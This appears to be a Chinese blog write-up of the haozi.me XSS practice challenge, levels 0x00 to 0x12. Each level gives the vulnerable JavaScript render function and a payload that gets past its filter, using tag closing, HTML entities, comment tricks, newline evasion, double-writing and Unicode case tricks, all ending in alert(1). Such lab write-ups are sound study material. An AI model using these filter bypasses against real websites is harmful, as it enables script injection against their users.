window.cnblogsConfig = { webpageTitleOnblur: '404-页面丢失', } window.cnblogsConfig = { webpageTitleOnblurTimeOut: 500, }

xss在线闯关haozi.me

xss在线闯关haozi.me

0x00

function render (input) {
  return '<div>' + input + '</div>'
}

可以直接注入

<script>alert(1)</script>

0x01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

有textarea(创建文本输入框标签),闭合改标签即可注入

</textarea><script>alert(1)</script>

0x02

function render (input) {
  return '<input type="name" value="' + input + '">'
}

注入点把值转为字符串,把前双引号闭合即可,

  • 直接加事件

    "onclick='alert(1)'		//需要点击输入框
    
  • 闭合input标签

    “><script>alert(1)</script>
    

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

匹配(将其替换为空格

<script>alert`1`</script>

`可以替代括号

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

匹配(和`将其替换为空格

可以用bp自带功能把(1)转为HTML实体

image-20241023180029888

因为是HTML实体,所以不能直接用在script标签内

<img src=# onerror=alert&#x28;&#x31;&#x29;>

0x05

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

需要闭合注释标签,但是-->会被替换为😂

html注释有两种形式:

 <!-- 注释内容 -->
 <!-- 注释内容 --!>
--!><script>alert(1)</script>

0x06

function render (input) {
  input = input.replace(/auto|on.*=| >/ig, '_')
  return `<input value=1 ${input} type="text">`
}

  • auto字符串
  • 以on开头以=结尾的字符串
  • >

替换为_

无法用>闭合标签,无法用on开头的事件

但是它没有屏蔽换行符

onclick
=alert(1)	//需要点击输入框

0x07

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

</任意字符><任意字符>替换为空格

需要闭合article标签(表示页面中一块独立的、完整的文章内容或信息块)

html支持一些单标签不闭合解析

<img src=# onerror=alert(1) 

注意加个空格不要和article闭合标签连起来

0x08

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

</style>替换为带注释标签的坏人二字

  • 可以多加一个空格造成正则逃逸

    </style ><script>alert(1)</script>
    
  • 或者加换行

    </style
    ><script>alert(1)</script>
    

0x09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

如果输入中含有http://www.segmentfault.com则嵌到<script>标签的字符串中返回

  • 在网址后边加字符使网址失效,闭合双引号,添加onerror事件

    http://www.segmentfault.com1" onerror=alert(1)  
    
  • 或者将script标签闭合

    https://www.segmentfault.com"></script> <script> alert(1) </script>
    

0x0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

匹配网址https://www.segmentfault.com且将&‘“<>\等符号都转义了,无法对字符串本身操作了

想办法对跳转的网址进行操作,可以直接引用指定网站下的目录文件来达到xss注入的目的,靶场目录下有个j.js文件,内容是弹窗的代码。

https://www.segmentfault.com.haozi.me/j.js

0x0B

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

把输入的小写字母字符全部转为大写字母

  • HTML中对大小写不敏感
  • JS中对大小写敏感

所以要把js代码转为html实体,又因为是html实体所以不能放在script标签内,所以使用事件

</h1> <img src=# onerror='&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;'
//单标签不闭合也可以
  • 域名对大小写也不敏感

所以调用靶场带的js文件也可以

</h1> <script src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

把输入的小写字母字符全部转为大写字母,且屏蔽script

还是:html对大小写不敏感,JS对大小写敏感,利用html实体将JS写在html标签的事件内

</h1> <img src=# onerror='&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;'

本题将script替换为空格所以可以使用双写绕过+上一题的思路:

</h1> <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>'

0x0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

过滤</"‘

回车可以破坏//单行注释

再配合js注释-->把后面的字符注释掉

alert(1) 
-->

0x0E

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
  • 将所有<加一个字母的组合换成<_$1
    标签不能加

  • 把所有输入的字符转为大写
    js不能直接写

尝试使用html实体,字母会变大写,无法使用

逆向思维:找到大写是j的字符: ſ (古英文, 拉丁文)

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
  • &`“<>/等字符被html编码

但是由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行

先把单引号和左括号闭合,再把后面的代码注释掉

');alert(1);//

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

无过滤

直接闭合函数

1;alert(1)

0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

常用符号以及换行符等都被转义了

//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)

闭合console.log,继续在JavaScript伪协议里写下一句,注释之后的代码

");alert(1);//

0x12

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

被转义无法闭合

  • 可以在之前加\将过滤加的转义符转义掉

    \");alert(1);//
    
  • 或者script标签内嵌

    </script><script>alert(1)</script><script>
    
posted @ 2024-10-30 17:07  憂心如惔  阅读(83)  评论(0)    收藏  举报